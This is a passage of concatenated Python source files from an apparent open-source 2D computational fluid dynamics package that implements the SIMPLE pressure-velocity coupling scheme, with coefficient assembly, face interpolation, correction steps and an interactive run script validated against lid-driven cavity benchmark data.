Avw = np.zeros((ny+1, nx))
Avn = np.zeros((ny+1, nx))
Avs = np.zeros((ny+1, nx))
Bvp = np.zeros((ny+1, nx))
vyx = visc*dy/dx
vxy = visc*dx/dy
for i in range (0, ny+1):
for j in range (0, nx):
if(i!=0 and i!=ny):
Avp[i, j] = rho*dy*(max(Uve[i, j], 0) + max(-Uvw[i, j], 0)) +\
rho*dx*(max(Vvn[i, j], 0) + max(-Vvs[i, j], 0)) +\
2*(vxy+vyx)
Ave[i, j] = rho*dy*max(-Uve[i, j], 0) + vyx
Avw[i, j] = rho*dy*max(Uvw[i, j], 0) + vyx
Avn[i, j] = rho*dx*max(-Vvn[i, j], 0) + vxy
Avs[i, j] = rho*dx*max(Vvs[i, j], 0) + vxy
Bvp[i, j] = dx*(Po[i, j]-Po[i-1, j])
# West Boundary Outlet
if(D[0][i, j] == -1 and D[0][i, j+1] == 2):
Avp[i, j] += -vyx - rho*dy*max(Uvw[i, j], 0)
Avw[i, j] = 0
# East Boundary Outlet
if(D[0][i, j] == 2 and D[0][i, j+1] == -1):
Avp[i, j] += -vyx - rho*dy*max(-Uve[i, j], 0)
Ave[i, j] = 0
# West Boundary Wall
if(D[0][i, j] == 0 and D[0][i, j+1] == 2):
Avp[i, j] += 2*vyx
Ave[i, j] += vyx/3
Avw[i, j] = 0
Bvp[i, j] += vyx*8*D[2][i, j]/3
# East Boundary Wall
if(D[0][i, j] == 2 and D[0][i, j+1] == 0):
Avp[i, j] += 2*vyx
Avw[i, j] += vyx/3
Ave[i, j] = 0
Bvp[i, j] += vyx*8*D[2][i, j+1]/3
# West Boundary Inlet
if(D[0][i, j] == 1 and D[0][i, j+1] == 2):
Avp[i, j] += 2*vyx + 2*rho*dy*max(Uvw[i, j], 0)
Ave[i, j] += vyx/3 + rho*dy*max(Uvw[i, j], 0)/3
Avw[i, j] = 0
Bvp[i, j] += vyx*8*D[2][i, j]/3 + 8*rho*dy*D[2][i, j]*max(Uvw[i, j], 0)/3
# East Boundary Inlet
if(D[0][i, j] == 2 and D[0][i, j+1] == 1):
Avp[i, j] += 2*vyx + 2*rho*dy*max(-Uve[i, j], 0)
Avw[i, j] += vyx/3 + rho*dy*max(-Uve[i, j], 0)/3
Ave[i, j] = 0
Bvp[i, j] += vyx*8*D[2][i, j+1]/3 + 8*rho*dy*D[2][i, j+1]*max(-Uve[i, j], 0)/3
# Data Point on Boundary
if(D[0][i, j]!=2 and D[0][i, j+1]!=2):
Avp[i, j] = 1
Ave[i, j] = 0
Avw[i, j] = 0
Avn[i, j] = 0
Avs[i, j] = 0
Bvp[i, j] = Uyo[i, j]
# Outlet Boundary
if(D[0][i, j]==-1 and D[0][i, j+1]==-1 and i==0):
Avp[i, j] = 1
Ave[i, j] = 0
Avw[i, j] = 0
Avn[i, j] = 0
Avs[i, j] = 1
Bvp[i, j] = 0
if(D[0][i, j]==-1 and D[0][i, j+1]==-1 and i==ny):
Avp[i, j] = 1
Ave[i, j] = 0
Avw[i, j] = 0
Avn[i, j] = 1
Avs[i, j] = 0
Bvp[i, j] = 0
# Under-Relaxation Factor
if(D[0][i, j]==2 or D[0][i, j+1]==2):
Avp[i, j] = Avp[i, j]/urf_UV
Bvp[i, j] += (1-urf_UV)*Avp[i, j]*Uyo[i, j]
# Matrix Creation
M_Bvp = Bvp.flatten()
M_Av = np.zeros(((ny+1)*(nx), (ny+1)*(nx)))
ite=0
for i in range (0, ny+1):
for j in range (0, nx):
M_Av[ite, ite] = Avp[i, j]
if ((ite+1)%(nx)!=0):
M_Av[ite, ite+1] = -Ave[i, j]
if((ite%(nx)!=0) and (ite!=0)):
M_Av[ite, ite-1] = -Avw[i, j]
if (ite<(ny)*(nx)):
M_Av[ite, ite+nx] = -Avs[i, j]
if(ite>nx-1):
M_Av[ite, ite-nx] = -Avn[i, j]
ite+=1
return M_Av, M_Bvp, Avp, Ave, Avw, Avn, Avs, Bvp | 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/UV_coeff.py | UV_coeff.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
import numpy as np
def U_face(Uxo, Uyo, D, nx, ny):
Uue = np.zeros((ny, nx+1))
Uuw = np.zeros((ny, nx+1))
Vun = np.zeros((ny, nx+1))
Vus = np.zeros((ny, nx+1))
for i in range (0, ny):
for j in range (0, nx+1):
if(D[0][i, j]==2 or D[0][i+1, j]==2):
Uue[i, j] = (Uxo[i, j]+Uxo[i, j+1])/2
Uuw[i, j] = (Uxo[i, j]+Uxo[i, j-1])/2
Vun[i, j] = (Uyo[i, j-1]+Uyo[i, j])/2
Vus[i, j] = (Uyo[i+1, j-1]+Uyo[i+1, j])/2
return Uue, Uuw, Vun, Vus
def V_face(Uxo, Uyo, D, nx, ny):
Uve = np.zeros((ny+1, nx))
Uvw = np.zeros((ny+1, nx))
Vvn = np.zeros((ny+1, nx))
Vvs = np.zeros((ny+1, nx))
for i in range (0, ny+1):
for j in range (0, nx):
if(D[0][i, j]==2 or D[0][i, j+1]==2):
Vvs[i, j] = (Uyo[i, j]+Uyo[i+1, j])/2
Vvn[i, j] = (Uyo[i, j]+Uyo[i-1, j])/2
Uve[i, j] = (Uxo[i-1, j+1]+Uxo[i, j+1])/2
Uvw[i, j] = (Uxo[i-1, j]+Uxo[i, j])/2
return Uve, Uvw, Vvn, Vvs | 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/faceInterpolation.py | faceInterpolation.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
import numpy as np
def correctionSIMPLE(Uxs, Uys, Po, Pc, D, Aup, Avp, urf_UV, urf_P, nx, ny, dx, dy):
P = np.zeros((ny, nx))
Ux = Uxs.copy()
Uy = Uys.copy()
for i in range (0, ny):
for j in range (0, nx):
P[i, j] = Po[i, j] + urf_P*Pc[i, j]
if(D[0][i, j]==2 or D[0][i+1, j]==2):
Ux[i, j] = Uxs[i, j] + urf_UV*dy*(Pc[i, j-1]-Pc[i, j])/Aup[i, j]
if(D[0][i, j]==2 or D[0][i, j+1]==2):
Uy[i, j] = Uys[i, j] + urf_UV*dx*(Pc[i, j]-Pc[i-1, j])/Avp[i, j]
for i in range (0, ny):
for j in range (0, nx+1):
if(j==nx and D[0][i, j]==-1 and D[0][i+1, j]==-1):
Ux[i, j] = Ux[i, j-1]
return Ux, Uy, P
| 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/correction.py | correction.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
#%%
import numpy as np
import matplotlib as mpl
from matplotlib import cm
from matplotlib import pyplot as plt
from scipy import linalg
import sys, os
mpl.rcParams.update({'font.size': 15})
caseFolder = input("\nEnter address of testCase ...\nExample: /home/user/folder/Case_1\n")
try:
os.mkdir(caseFolder)
except:
print("\nFolder already there!!\n")
flag_EmptyFolder = input("\nEmpty Folder ?? [y/n]\n")
if(flag_EmptyFolder=='y'):
filelist = [ f for f in os.listdir(caseFolder) ]
for f in filelist:
os.remove(os.path.join(caseFolder, f))
else:
sys.exit()
package_dir = os.path.dirname(os.path.realpath(__file__))
print(package_dir)
from RUN_package.boundaryDomain import domain, obstacle, obstacleMath
from RUN_package.initialConditions import initialCond
from RUN_package.faceInterpolation import U_face, V_face
from RUN_package.UV_coeff import U_coeffUpwind, V_coeffUpwind
from RUN_package.P_coeff import P_coeffSIMPLE
from RUN_package.correction import correctionSIMPLE
from RUN_package.postProcessing import postProcessor
D, \
xMin, xMax, yMin, yMax, \
dx, dy, nx, ny, \
south_Boundary, north_Boundary, west_Boundary, east_Boundary, \
flag_Outlet =\
domain(caseFolder)
flag_obstacleGeometry = int(input("\n1. Use .txt file as Address \n2. Add elliptical obstacle\n3. No Obstacle Geometry\n"))
if(flag_obstacleGeometry==1):
D, Points, Points_x, Points_y = obstacle(D, xMin, xMax, yMin, yMax, nx, ny, dx, dy)
elif(flag_obstacleGeometry==2):
D, Points, Points_x, Points_y = obstacleMath(D, xMin, xMax, yMin, yMax, nx, ny, dx, dy)
Lx = xMax-xMin
Ly = yMax-yMin
# Grid - Plot
xg = np.linspace(xMin, xMax, num=nx+2)
yg = np.linspace(yMax, yMin, num=ny+2)
Xg, Yg = np.meshgrid(xg, yg)
fig, ax = plt.subplots(figsize =(Lx*6*1.4, Ly*6))
plt.xlabel('x [m]')
plt.ylabel('y [m]')
cmap = plt.get_cmap('tab10')
ylorbr = cm.get_cmap('tab10', 4)
norm = mpl.colors.Normalize(vmin=-1.5, vmax=2.5)
col = plt.pcolormesh(xg, yg, D[0], cmap = ylorbr, norm=norm)
cbar = plt.colorbar(col)
cbar.set_label('Grid\n-1.0 - Outlet 0.0 - Wall 1.0 - Inlet 2.0 - Wall')
plt.axis('scaled')
# show plot
plt.show()
flag_continue = input("\nContinue or Abort ?? [y/n]\n")
if(flag_continue=='n'):
sys.exit()
urf_UV = float(input("\nEnter Under-relaxation factor for UV\n"))
urf_P = float(input("\nEnter Under-relaxation factor for P\n"))
rho = float(input("\nEnter Density of fluid [kg/m^3]\n"))
visc = float(input("\nEnter Viscosity of Fluid [Pa*s]\n"))
max_iter = int(input("\nEnter Max Iteration for this SIM\n"))
MaxRes_Mass = float(input("\nEnter Min Mass Imbalance Residual for this SIM\n"))
Uxo, Uyo, Po = initialCond(D, nx, ny, flag_Outlet)
Ux_values=[]
Ux_values.append(Uxo)
Uy_values=[]
Uy_values.append(Uyo)
P_values=[]
P_values.append(Po)
Res_U_values=[]
Res_V_values=[]
Res_Mass_values=[]
logRes_Mass=0.0
n=0
iter_ = np.linspace(0, max_iter, max_iter)
temp = np.linspace(0, max_iter, max_iter)
fig, ax = plt.subplots(figsize =(Lx*6*1.4, Ly*6))
plt.xlabel('x [m]')
plt.ylabel('y [m]')
while n<max_iter and logRes_Mass>MaxRes_Mass:
Uue, Uuw, Vun, Vus = U_face(Uxo, Uyo, D, nx, ny)
Uve, Uvw, Vvn, Vvs = V_face(Uxo, Uyo, D, nx, ny)
M_Au, M_Bup, Aup, Aue, Auw, Aun, Aus, Bup = \
U_coeffUpwind(Uxo, Uyo, Po, Uue, Uuw, Vun, Vus, D, rho, visc, urf_UV, nx, ny, dx, dy)
M_Av, M_Bvp, Avp, Ave, Avw, Avn, Avs, Bvp = \
V_coeffUpwind(Uxo, Uyo, Po, Uve, Uvw, Vvn, Vvs, D, rho, visc, urf_UV, nx, ny, dx, dy)
# Momentum Predictor
M_Uxs = linalg.solve(M_Au, M_Bup)
M_Uys = linalg.solve(M_Av, M_Bvp)
Uxs = np.reshape(M_Uxs, (ny, nx+1))
Uys = np.reshape(M_Uys, (ny+1, nx))
M_Ap, M_Bpp, App, Ape, Apw, Apn, Aps, Bpp = P_coeffSIMPLE(Aup, Avp, Uxs, Uys, D, nx, ny, dx, dy)
if(flag_Outlet==0):
M_Ap[int(ny*nx/4), :] = 0
M_Ap[int(ny*nx/4), int(ny*nx/4)] = 1
M_Bpp[int(ny*nx/4)] = 0
# Pressure Correction values
M_Pc = linalg.solve(M_Ap, M_Bpp)
Pc = np.reshape(M_Pc, (ny, nx))
# Residuals
Res_U = M_Au.dot(Uxo.flatten())-M_Bup
Res_V = M_Av.dot(Uyo.flatten())-M_Bvp
logRes_U = np.log(np.sum(np.abs(Res_U)))
logRes_V = np.log(np.sum(np.abs(Res_V)))
logRes_Mass = np.log(np.sum(np.abs(Bpp)))
# Momentum & Pressure Correction step
Ux, Uy, P = correctionSIMPLE(Uxs, Uys, Po, Pc, D, Aup, Avp, urf_UV, urf_P, nx, ny, dx, dy)
# Writing Results
Ux_values.append(Ux.copy())
Uy_values.append(Uy.copy())
P_values.append(P.copy())
Res_U_values.append(logRes_U)
Res_V_values.append(logRes_V)
Res_Mass_values.append(logRes_Mass)
# Prepping for next step
Uxo = Ux.copy()
Uyo = Uy.copy()
Po = P.copy()
iter_ = np.linspace(0, n+1, n+1)
ax.set_xlim(-0.5, n+2)
max_Res=0
min_Res=0
for k in range (0, n+1):
if(max_Res<Res_U_values[k]):
max_Res=Res_U_values[k]
if(max_Res<Res_V_values[k]):
max_Res=Res_U_values[k]
if(max_Res<Res_Mass_values[k]):
max_Res=Res_Mass_values[k]
if(min_Res>Res_U_values[k]):
min_Res=Res_U_values[k]
if(min_Res>Res_V_values[k]):
min_Res=Res_U_values[k]
if(min_Res>Res_Mass_values[k]):
min_Res=Res_Mass_values[k]
ax.set_ylim(min_Res-1, max_Res+1)
plt.plot(iter_, Res_U_values, color='red', label='Ux-Mom Residual')
plt.plot(iter_, Res_V_values, color='blue', label='Uy-Mom Residual')
plt.plot(iter_, Res_Mass_values, color='green', label='Mass Residual')
plt.legend()
plt.show()
n+=1
if(n<max_iter):
max_iter=n
max_iter
uxq_values = []
uyq_values = []
for n in range (0, max_iter):
ux1 = Ux_values[n].copy()
uxq = np.zeros((2*ny+1, 2*nx+1))
for i in range (0, ny):
for j in range (0, nx+1):
uxq[2*i+1, 2*j] = ux1[i, j]
for j in range (0, nx+1):
uxq[0, 2*j] = D[1][0, j]
uxq[-1, 2*j] = D[1][-1, j]
for i in range (0, ny-1):
for j in range (0, nx+1):
uxq[2*i+2, 2*j] = (uxq[2*i+1, 2*j] + uxq[2*i+3, 2*j])/2
for i in range (0, 2*ny):
for j in range (0, nx):
uxq[i, 2*j+1] = (uxq[i, 2*j] + uxq[i, 2*j+2])/2
uy1 = Uy_values[n].copy()
uyq = np.zeros((2*ny+1, 2*nx+1))
for i in range (0, ny+1):
for j in range (0, nx):
uyq[2*i, 2*j+1] = uy1[i, j]
for i in range (0, ny+1):
uyq[2*i, 0] = D[2][i, 0]
uyq[2*i, -1] = D[2][i, -1]
for i in range (0, ny+1):
for j in range (0, nx-1):
uyq[2*i, 2*j+2] = (uyq[2*i, 2*j+1] + uyq[2*i, 2*j+3])/2
for i in range (0, ny):
for j in range (0, 2*nx):
uyq[2*i+1, j] = (uyq[2*i, j] + uyq[2*i+2, j])/2
uxq_values.append(uxq)
uyq_values.append(uyq)
#%%
flag_Validation = input("Validation check for Lid-driven Cavity Re-[100, 1000, 5000] ?? [y/n]")
if(flag_Validation=='y'):
mpl.rcParams.update({'font.size': 10})
ghia_u100 = np.array([1, 0.84123, 0.78871, 0.73722, 0.68717, 0.23151, 0.00332, -0.13641, -0.20581, -0.2109, -0.15662, -0.1015, -0.06434, -0.04775, -0.04192, -0.03717, 0])
ghia_u1000 = np.array([1, 0.65928, 0.57492, 0.51117, 0.46604, 0.33304, 0.18719, 0.05702, -0.0608, -0.10648, -0.27805, -0.38289, -0.2973, -0.2222, -0.20196, -0.18109, 0])
ghia_u5000 = np.array([1, 0.48223, 0.4612, 0.45992, 0.46036, 0.33556, 0.20087, 0.08183, -0.03039, -0.07404, -0.22855, -0.3305, -0.40435, -0.43643, -0.42901, -0.41165, 0])
ghia_y = np.array([1, 0.9766, 0.9688, 0.9609, 0.9531, 0.8516, 0.7344, 0.6172, 0.5, 0.4531, 0.2813, 0.1719, 0.1016, 0.0703, 0.0625, 0.0547, 0])
yq = np.linspace(yMax, yMin, num=2*ny+1)
Re = rho*D[1][0, int(nx/2)]*Lx/visc
if(Re==100):
plt.scatter(ghia_u100, ghia_y, c='green', label='Ghia etal.')
plt.title('Reynolds No. 100 Mesh -[{}X{}]'.format(nx, ny))
if(Re==1000):
plt.scatter(ghia_u1000, ghia_y, c='green', label='Ghia etal.')
plt.title('Reynolds No. 1000 Mesh -[{}X{}]'.format(nx, ny))
if(Re==5000):
plt.scatter(ghia_u5000, ghia_y, c='green', label='Ghia etal.')
plt.title('Reynolds No. 5000 Mesh -[{}X{}]'.format(nx, ny))
plt.plot(uxq_values[max_iter-1][:, nx], yq, label ='Centreline X-Velocity')
plt.legend()
plt.show()
flag_Validation = input("Validation check for Fully developed flow ?? [y/n]")
if(flag_Validation=='y'):
mpl.rcParams.update({'font.size': 10})
Re = rho*D[1][int(ny/2), 0]*Ly/visc
yq = np.linspace(yMax, yMin, num=2*ny+1)
plt.plot(uxq_values[max_iter-1][:, int(8*(2*nx+1)/10)], yq, label ='Centreline X-Velocity - at X={}'.format(xMin+int(8*(2*nx+1)/10)*dx/2))
# plt.set_xlabel('Y')
plt.title('Fully Developed Flow Re = {}'.format(Re))
plt.legend()
plt.show()
xq = np.linspace(xMin, xMax, num=2*nx+1)
plt.plot(uxq_values[max_iter-1][ny, :], xq, label ='Centreline X-Velocity - at Y={}'.format(yMax-ny*dy/2))
# plt.set_xlabel('X')
plt.title('Fully Developed Flow Re = {}'.format(Re))
plt.legend()
plt.show()
#%%
postProcessor(P_values, uxq_values, uyq_values, \
xMin, xMax, yMin, yMax, nx, ny, dx, dy, Points_x, Points_y, \
caseFolder, Res_U_values, Res_V_values, Res_Mass_values, \
max_iter, min_Res, max_Res)
| 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/RUN-spyder.py | RUN-spyder.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
import numpy as np
def initialCond(D, nx, ny, flag_Outlet):
Uxo = np.zeros((ny, nx+1))
Uyo = np.zeros((ny+1, nx))
Po = np.zeros((ny, nx))
for i in range (0, ny):
for j in range (0, nx+1):
if(i==0):
if((D[0][i, j]==0 and D[0][i+1, j]==0) or (D[0][i, j]==1 and D[0][i+1, j]==1)):
Uxo[i, j] = D[1][i+1, j]
else:
if((D[0][i, j]==0 and D[0][i+1, j]==0) or (D[0][i, j]==1 and D[0][i+1, j]==1)):
Uxo[i, j] = D[1][i, j]
for i in range (0, ny+1):
for j in range (0, nx):
if(j==0):
if((D[0][i, j]==0 and D[0][i, j+1]==0) or (D[0][i, j]==1 and D[0][i, j+1]==1)):
Uyo[i, j] = D[2][i, j+1]
else:
if((D[0][i, j]==0 and D[0][i, j+1]==0) or (D[0][i, j]==1 and D[0][i, j+1]==1)):
Uyo[i, j] = D[2][i, j]
if(flag_Outlet==1):
for i in range (0, ny):
for j in range (0, nx):
if(D[0][i, j]==-1):
Po[i, j] = D[3][i, j]
if(D[0][i+1, j]==-1):
Po[i, j] = D[3][i+1, j]
if(D[0][i, j+1]==-1):
Po[i, j] = D[3][i, j+1]
if(D[0][i+1, j+1]==-1):
Po[i, j] = D[3][i+1, j+1]
return Uxo, Uyo, Po | 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/initialConditions.py | initialConditions.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ /_____________\ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
##########################\/\/\/\/\/\/\/\/\/\/\/\/\/\/##########################
"""
LICENSE
This file is a part of 2D_Panel CFD.
2D_Panel CFD is a repository with 2D framework to test new numerical schemes,
pressure coupling algorithms, VOF etc. A GUI is intended to be made shortly
to make this a user oriented program.
Copyright (C) <2021> <Fluidentity>
2D_Panel CFD is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
2D_Panel CFD is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
2D_Panel CFD comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
"""
import numpy as np
def P_coeffSIMPLE(Aup, Avp, Uxs, Uys, D, nx, ny, dx, dy):
App =np.zeros((ny, nx))
Ape =np.zeros((ny, nx))
Apw =np.zeros((ny, nx))
Apn =np.zeros((ny, nx))
Aps =np.zeros((ny, nx))
Bpp =np.zeros((ny, nx))
for j in range (0, nx):
for i in range (0, ny):
if (D[0][i, j+1]!=2 and D[0][i+1, j+1]!=2):
Ape[i, j] = 0
else:
Ape[i, j] = dy**2/Aup[i, j+1]
if (D[0][i, j]!=2 and D[0][i+1, j]!=2):
Apw[i, j] = 0
else:
Apw[i, j] = dy**2/Aup[i, j]
if (D[0][i, j]!=2 and D[0][i, j+1]!=2):
Apn[i, j] = 0
else:
Apn[i, j] = dx**2/Avp[i, j]
if (D[0][i+1, j]!=2 and D[0][i+1, j+1]!=2):
Aps[i, j] = 0
else:
Aps[i, j] = dx**2/Avp[i+1, j]
App[i, j] = Ape[i, j] + Apw[i, j] + Apn[i, j] + Aps[i, j]
Bpp[i, j] = dy*(Uxs[i, j]-Uxs[i, j+1]) + \
dx*(Uys[i+1, j]-Uys[i, j])
if(D[0][i, j]==-1 or D[0][i+1, j]==-1 or D[0][i, j+1]==-1 or D[0][i+1, j+1]==-1):
App[i, j] = 1
Ape[i, j] = 0
Apw[i, j] = 0
Apn[i, j] = 0
Aps[i, j] = 0
Bpp[i, j] = 0
if(D[0][i, j]!=2 and D[0][i+1, j]!=2 and D[0][i, j+1]!=2 and D[0][i+1, j+1]!=2):
App[i, j] = 1
Ape[i, j] = 0
Apw[i, j] = 0
Apn[i, j] = 0
Aps[i, j] = 0
Bpp[i, j] = 0
M_Bpp = Bpp.flatten()
M_A = np.zeros((ny*nx, ny*nx))
ite=0
for i in range (0, ny):
for j in range (0, nx):
M_A[ite, ite] = App[i, j]
if ((ite+1)%(nx)!=0):
M_A[ite, ite+1] = -Ape[i, j]
if(ite%(nx)!=0):
M_A[ite, ite-1] = -Apw[i, j]
if (ite<(ny-1)*(nx)):
M_A[ite, ite+nx] = -Aps[i, j]
if(ite>nx-1):
M_A[ite, ite-nx] = -Apn[i, j]
ite+=1
return M_A, M_Bpp, App, Ape, Apw, Apn, Aps, Bpp | 2D-Panel-CFD | /2D_Panel-CFD-0.0.1.tar.gz/2D_Panel-CFD-0.0.1/src/RUN_package/P_coeff.py | P_coeff.py |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
##########################\/\/\/\/2D_Panel CFD\/\/\/\/##########################
# ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
# ~ ~ ~ ~ ~ ~ ~______________ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ #
